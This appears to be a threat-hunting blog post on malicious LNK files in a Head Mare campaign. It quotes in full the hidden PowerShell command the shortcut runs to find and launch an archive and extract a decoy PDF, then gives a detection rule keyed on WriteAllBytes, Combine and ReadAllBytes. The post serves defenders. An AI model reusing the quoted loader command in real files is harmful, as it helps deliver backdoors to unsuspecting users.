091. Hunting for Malicious LNK Files as Seen in a Recent Head Mare Campaign

Hello everyone! Today we'll look at another curious example of PowerShell abuse - this time from Head Mare (we track this activity cluster as Rainbow Hyena).

The adversary distributed password protected archives with malicious LNK files. The LNK file executes the following PowerShell command to run PhantomPyramid backdoor on the compromised system:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -c "$r=$(Get-Location).Path + '\\x417\x430\x44f\x432\x43a\x430_\x413\x423\x412_5_03\x414.zip';if(Test-Path $r) { cmd.exe /c start /B $r; } else { $f=$(Get-ChildItem -Path 'C:\Users\<USER>' -Recurse -Filter '\x417\x430\x44f\x432\x43a\x430_\x413\x423\x412_5_03\x414.zip' | Select-Object -First 1); if($f) { $r=$f.FullName; cmd.exe /c start /B $f.FullName; }; };if(-Not (Test-Path $r)) { $r=$(Get-ChildItem -Path 'C:\Users\<USER>\AppData\Local\Temp' -Recurse -Filter "\x417\x430\x44f\x432\x43a\x430_\x413\x423\x412_5_03\x414.zip" | Select-Object -First 1).FullName; }; [System.IO.File]::WriteAllBytes([System.IO.Path]::Combine('C:\Users\<USER>\AppData\Local\Temp', '\x417\x430\x44f\x432\x43a\x430_\x413\x423\x412_5_03\x414.pdf'), ([System.IO.File]::ReadAllBytes($r) | Select-Object -Skip 7166158 -First 147100)); Start-Process -FilePath $([System.IO.Path]::Combine('C:\Users\<USER>\AppData\Local\Temp', '\x417\x430\x44f\x432\x43a\x430_\x413\x423\x412_5_03\x414.pdf'));

I think you already spotted interesting strings we can use for detection: "WriteAllBytes", "Combine", "ReadAllBytes". So, let's form the logic for detection:

event_type: "processcreatewin"

AND

proc_file_name: "powershell.exe"

AND

cmdline: ("WriteAllBytes" AND "Combine" AND "ReadAllBytes")

If you want to learn more about this campaign, here's a report by Kaspersky team.

See you tomorrow!

Comments

Popular posts from this blog

033. Free Google Threat Intelligence Course

082. Huniting for Malicious Browser Extensions

001. The Zeltser Challenge